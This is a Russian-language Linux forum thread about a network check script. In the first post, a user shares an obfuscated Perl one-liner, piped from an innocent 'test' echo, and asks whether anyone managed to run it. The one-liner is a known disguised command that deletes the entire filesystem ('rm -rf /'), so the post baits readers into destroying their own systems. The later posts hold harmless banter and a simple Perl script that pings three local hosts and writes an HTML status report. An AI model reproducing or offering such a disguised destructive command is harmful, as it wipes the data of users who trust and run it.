скрипт проверки связи и переключения

*nix-системы как домашние, офисные или производственные ОС.
arruah
Старожил
Сообщения: 425
Зарегистрирован: 06 сен (Пн) 2004, 13:27
Контактная информация:

Сообщение arruah » 20 сен (Вт) 2005, 17:57

не могу запустить в линуксе такой скрипт
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
у кого нибудь получилось ? 8)
почему ты так думаешь ? Потому что у меня есть мозг.

Аватара пользователя
rebel
Житель
Сообщения: 63
Зарегистрирован: 08 дек (Пн) 2003, 15:51
Контактная информация:

Сообщение rebel » 23 окт (Вс) 2005, 07:08

Sonic писал(а):rebel, Я только хотел на перле накалякать как ты примерно тоже и написал....
но не надо опена файла делать нуна
#rebel.pl
print "коннектед"
без С
#
system('perl rebel.pl');
or php  того чувака
чмо 0755 _®
и че если я С не напишу у меня будет счетчик сам по себе ? :)

Аватара пользователя
rebel
Житель
Сообщения: 63
Зарегистрирован: 08 дек (Пн) 2003, 15:51
Контактная информация:

Сообщение rebel » 04 июн (Вс) 2006, 16:19

вот новый скрипт он проверяет какие узлы сети работают, с помошью пинга и создает файл очет
#!/usr/bin/perl

%sh_ip = (
key1 => '192.168.12.101',
key2 => '192.168.12.100',
key3 => '192.168.12.116',
);

%sh = (
key1 => 'sh1',
key2 => 'sh2',
key3 => 'sh3',
);


#print qq~
#
#~;
open(F,"> /www/stat.html");

print F qq~



i_test


~;

while ( my ($key, $ip) = each(%sh_ip) ) {
# print "$key => $ip\n";
my $ping = `ping -c 2 $ip -c 2`;
my ($key, $shh) = each(%sh);

if ($ping =~ m/ttl/g )
{
print F "$shh ip= $ip ==> ok\n";
}
else
{
print F "$shh ip= $ip ==> no\n";
}
}
print F "

i_test



ok

see the status

~;

Ответить

Вернуться в «*NIX»